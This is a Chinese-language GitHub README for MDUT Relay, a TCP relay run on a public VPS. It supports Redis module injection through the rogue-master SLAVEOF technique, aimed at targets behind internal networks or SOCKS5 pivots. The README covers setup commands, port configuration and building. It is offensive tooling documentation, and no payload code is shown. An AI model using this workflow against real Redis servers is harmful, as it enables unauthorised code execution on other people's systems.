MDUT Relay
April 28, 2026 · View on GitHub
MDUT Relay 是为 MDUT (Multiple Database Utilization Tools) 专门设计的独立网络中转辅助工具。
为什么需要它?
在进行 Redis 模块注入(通过主从复制 SLAVEOF 机制)时,目标 Redis 必须能够主动连接到我们的 Rogue Server 并同步载荷。然而,在以下场景中,MDUT 本地发起的监听端口对目标是不可达的:
- 深层内网环境:MDUT 本地和目标机器不在同一网段,且目标机器被配置为仅允许出网到特定公网 IP。
- 正向代理(SOCKS5)环境:MDUT 通过 SOCKS5 代理打入内网,此时 MDUT 本地的 IP 对于目标内网来说是未知的,目标无法反向连接回 MDUT。
MDUT Relay 解决了这个问题:它作为一个轻量级的透明 TCP 流量桥接器运行在公网 VPS 上,将 MDUT 的控制端流量和目标 Redis 的流量完美桥接,实现无感知的模块投递。
运行机制
mdut-relay启动后监听两个端口:控制端端口(默认21000)和目标连入端口(默认21001)。- MDUT 发起部署时,主动连接
21000端口。 - MDUT 告诉目标 Redis 去执行
SLAVEOF vps_ip 21001。 - 目标 Redis 主动连入
21001端口。 mdut-relay配对两个连接,开始全双工透明转发,投递载荷完成后断开。
(注:内建了 15 秒超时重置机制,如果目标由于网络阻断没能连上,Relay 会自动断开重置,避免队列阻塞死锁。)
使用说明
1. VPS 上运行
请在您的 VPS 上下载对应架构的发行版二进制文件,赋予执行权限后直接运行:
chmod +x mdut-relay-linux-amd64
./mdut-relay-linux-amd64 -c 21000 -r 21001
参数说明:
-c:控制端端口(供 MDUT 客户端连入),默认21000-r:目标端端口(供目标 Redis 连入),默认21001
🚨 重要提示:请确保您的 VPS 防火墙或云服务商的安全组中同时放行了 21000 和 21001 端口的 TCP 入站流量!
2. MDUT 中配置
在 MDUT 面板的 Redis “注入并部署 Module” 弹窗中:
- 选择 “VPS 中转 (ServeRelay)” 模式。
- VPS Relay 控制端地址:填入
VPS的IP:21000。 - VPS 目标连入 IP:填入
VPS的IP。 - 点击注入即可!
构建指南
您可以直接使用项目中提供的 build.sh 进行全平台交叉编译:
./build.sh
或者使用 Go 编译:
go build -o mdut-relay main.go